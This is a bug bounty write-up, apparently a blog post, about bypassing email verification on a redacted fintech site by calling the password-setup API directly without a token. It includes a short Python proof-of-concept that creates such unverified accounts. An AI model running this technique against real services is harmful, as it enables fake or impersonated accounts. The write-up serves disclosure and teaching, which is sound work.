Bypassing a non existing email verification flow

Today I will be sharing my recent finding of an email verification bypass which allowed me to bypass “a non-existing e-mail verification flow”. I hope this will be a good read for you!

In April 2021, I was searching for a new bug bounty program, I usually do that by using google dorks, and similarly, I found one more this time. Let’s say the company is redacted.com to protect privacy.

Let’s learn more about redaced.com before learning about my finding. It is a fintech company which allows users to create accounts to access money across the globe. These accounts require verification, including verifying users’ email addresses

Let’s Start “Hacking”!

I started by creating an account on the target and using the website for some time to get a rough overview of the target. And after that, I selected to try bypassing the email verification process.

This is how the target’s verification process worked:

  1. You visit redacted.com/signup and enter your email address
  2. You receive an email with a verification URL
  3. You click and open the URL and then you are redirected to the password setup page
  4. You create a new password and provide other details and hit save
  5. Your email gets verified and the account gets created

The verification URL looked like this:
https://www.redacted.com/app1/signup/verify?key=16641558218877162399&email=example2%40example.com

After looking at the URL, I thought of using some common bypasses like changing the email address in the URL or using random keys. And guess what? None of them worked!

What’s next? Let’s see what’s happening at the backend.

The below two requests were made for the account creation and verification flow:

  • When signing-up:

  • When setting up password after visiting the verification link:

Observed anything odd in the second request ?

This is what I observed:
Even though the request was made after opening the verification link, there was no verification token in the request. This means that technically there is no email verification happening in the backend.

What if I make the second request with my email address directly after the first one without opening the verification URL?
Yes, this worked! And I successfully created an account on redacted.com without really verifying the email.

The next step was to report the vulnerability. So, I quickly wrote the below python exploit to make the reproduction part easy for the team and reported the vulnerability:

import requests

class bcolors:
    OKGREEN = '\033[92m'
    ENDC = '\033[0m'

url1 = "https://www.redacted.com/api/user"
url2 = "https://www.redacted.com/api/user/account"

headers = {
    'Host': 'www.redacted.com',
    'Content-type': 'application/json',
}

email = raw_input("Enter email: ")
phone = raw_input("Enter phone number: ")

data1 = {"data":{"email":email,"phoneNumber":phone}}
data2 = {"password":"P@ssw0rd","phoneNumber":phone,"email":email}

print(" ")
print(bcolors.OKGREEN + "Creating account with email: " + bcolors.ENDC +email)
r1 = requests.post(url = url1, headers = headers, json = data1)
print(bcolors.OKGREEN + "Account Created!" + bcolors.ENDC)
print(bcolors.OKGREEN + "Bypassing email verificaion & setting password" + bcolors.ENDC)
r2 = requests.post(url = url2, headers = headers, json = data2)
print(bcolors.OKGREEN + "Completed!" + bcolors.ENDC)
print(" ")
print("Account details:")
print(bcolors.OKGREEN + "Email: " + bcolors.ENDC +email+ bcolors.OKGREEN + " Password: "+ bcolors.ENDC +"P@ssw0rd")
print(" ")

After reporting, I got a response the next day confirming the existence of the vulnerability. And it was fixed on the second day and Bounty was awarded a day after that.

Takeaways
  • Always use the application as a normal user before testing it for security misconfigurations
  • Never skip basic bypasses/techniques as they might do the work
  • Observe every request carefully
updated_at 15-05-2022